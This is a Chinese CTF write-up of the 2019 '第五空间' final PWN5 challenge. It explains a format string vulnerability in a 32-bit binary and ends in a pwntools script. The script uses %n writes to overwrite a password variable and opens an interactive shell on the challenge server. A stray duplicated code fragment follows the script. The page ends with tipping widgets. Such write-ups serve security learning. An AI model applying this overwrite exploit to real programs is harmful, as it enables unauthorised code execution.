[第五空间2019 决赛]PWN5

判断附件相关信息:
checksec.png
Arch:i386-32-little:32位小端序(数值低位放在内存低地址)
保护机制:
咲夜南梦师傅
Linux-编译保护 | 咲夜南梦’s 博客 (196011564.github.io)


main.png
利用格式化字符串漏洞覆盖dword_804C044处内存,输入passwd时使if判断句成立即可调用后门函数获取系统权限。


格式化字符串漏洞:
原理介绍 - CTF Wiki (ctf-wiki.org)
格式化字符串.png
stack.png
栈:第一个变量为返回地址,第二个变量为格式化字符串,第三个变量开始为参数,相对格式化字符串偏移40字节。


构造payload:
payload.png

//成功输出16个字符,即0x10。
payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

%n:不输出字符,把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%$:定位参数符

wp:

from pwn import *

context.os = 'linux'
context.arch = 'i386'
context.log_level = 'debug'

# io = process('./PWN51')
io = remote('redirect.do-not-trust.hacking.run',10156)

payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload += b'%10$n%11$n%12$n%13$n'

io.sendline(payload)
io.sendline(str(0x10101010))
io.interactive()
ad)
io.sendline(str(0x10101010))
io.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半步行止

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值